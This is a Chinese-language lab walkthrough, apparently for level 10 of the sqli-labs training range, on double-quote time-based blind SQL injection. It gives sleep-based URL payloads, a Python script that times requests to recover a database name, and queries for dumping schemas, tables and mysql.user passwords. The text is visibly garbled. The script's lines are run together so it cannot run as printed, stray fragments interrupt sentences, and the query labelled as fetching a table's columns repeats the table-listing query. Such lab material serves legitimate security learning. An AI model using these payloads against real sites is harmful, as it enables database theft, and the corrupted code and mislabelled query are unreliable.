第十關是雙引號字符型注入,推薦使用時間盲注。
一、功能分析
二、思路分析
三、解題步驟
方式一:時間盲注
第一步、判斷注入條件
第二步、判斷長度
第三步、枚舉字符
脫庫
bool盲注。頁面無顯示位,不適合聯合注入;
頁面不顯示數據庫的報錯信息,不適合報錯注入;
查詢的正確和錯誤不會影響頁面的響應(后臺寫死了,只返回You are in...........),不適合布爾盲注;
綜上所述,嘗試使用時間盲注。
地址欄輸入:?id=1" and if(1,sleep(5),3) -- a
sqli labs,頁面響應時間超過5秒,確定存在時間盲注。
判斷當前使用數據庫的名字長度是否大于1,地址欄輸入:
?id=1" and if((length(database()) >1)
,sleep(5),3) -- a
長度肯定大于1,頁面延時5秒,確定payload可用。
從1開始,依次遞增測試長度,頁面響應時間超過5秒則表示猜解成功,稍后使用腳本自動化猜解。
截取當前使用數據庫名字的第一個字符,通過窮舉法判斷具體字符。
盲注工具,為了方便腳本測試,這里將字符轉換成ASCLL。
判斷第一個字符的ASCLL是否大于1,地址欄輸入:
?id=1" and if((ascii(substr((database()),1,1)) >1)
,sleep(5),3) -- a
肯定大于1,頁面延時5秒,確定payload可用。
窮舉第一個字符的所有可能性(對應的ASCLL為:32~126),窮舉成功后,再依法窮舉剩余字符,稍后使用腳本自動化猜解。
Python自動化腳本如下,可按需修改:
import requests
import time# 將url 替換成你的靶場關卡網址
# 修改兩個對應的payload# 目標網址(不帶參數)
url = "http://00b5c770b91b4b7aae704c39602fc0f9.app.mituan.zone/Less-10/"
# 猜解長度使用的payload
payload_len = """?id=1" and if((length((database())) ={n})
,sleep(5),3) -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1" and if((ascii(substr((database()),{n},1)) ={r})
,sleep(5),3) -- a"""# 獲取長度
def getLength(url, payload):length = 1 # 初始測試長度為1while True:start_time = time.time()response = requests.get(url= url+payload_len.format(n= length))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 響應時間>5秒時,表示猜解成功if use_time > 5:print('測試長度完成,長度為:', length,)return length;else:print('正在測試長度:',length)length += 1 # 測試長度遞增# 獲取字符
def getStr(url, payload, length):str = '' # 初始表名/庫名為空# 第一層循環,截取每一個字符for l in range(1, length+1):# 第二層循環,枚舉截取字符的每一種可能性for n in range(33, 126):start_time = time.time()response = requests.get(url= url+payload_str.format(n= l, r= n))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 頁面中出現此內容則表示成功if use_time > 5:str+= chr(n)print('第', l, '個字符猜解成功:', str)break;return str;# 開始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
執行結果如下:
sql語句時間戳轉換?
其他脫庫操作時,將圈起來的部分替換成SQL語句即可:
?
?脫庫常用SQL語句:
# 獲取所有數據庫
(select group_concat(schema_name)
from information_schema.schemata)# 獲取 security 庫的所有表
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")# 獲取 users 表的所有字段
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")# 獲取數據庫管理員的密碼
(select password
from mysql.user
where user="mituan")
sqlmap基于時間盲注命令,
版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。
工作时间:8:00-18:00
客服电话
电子邮件
admin@qq.com
扫码二维码
获取最新动态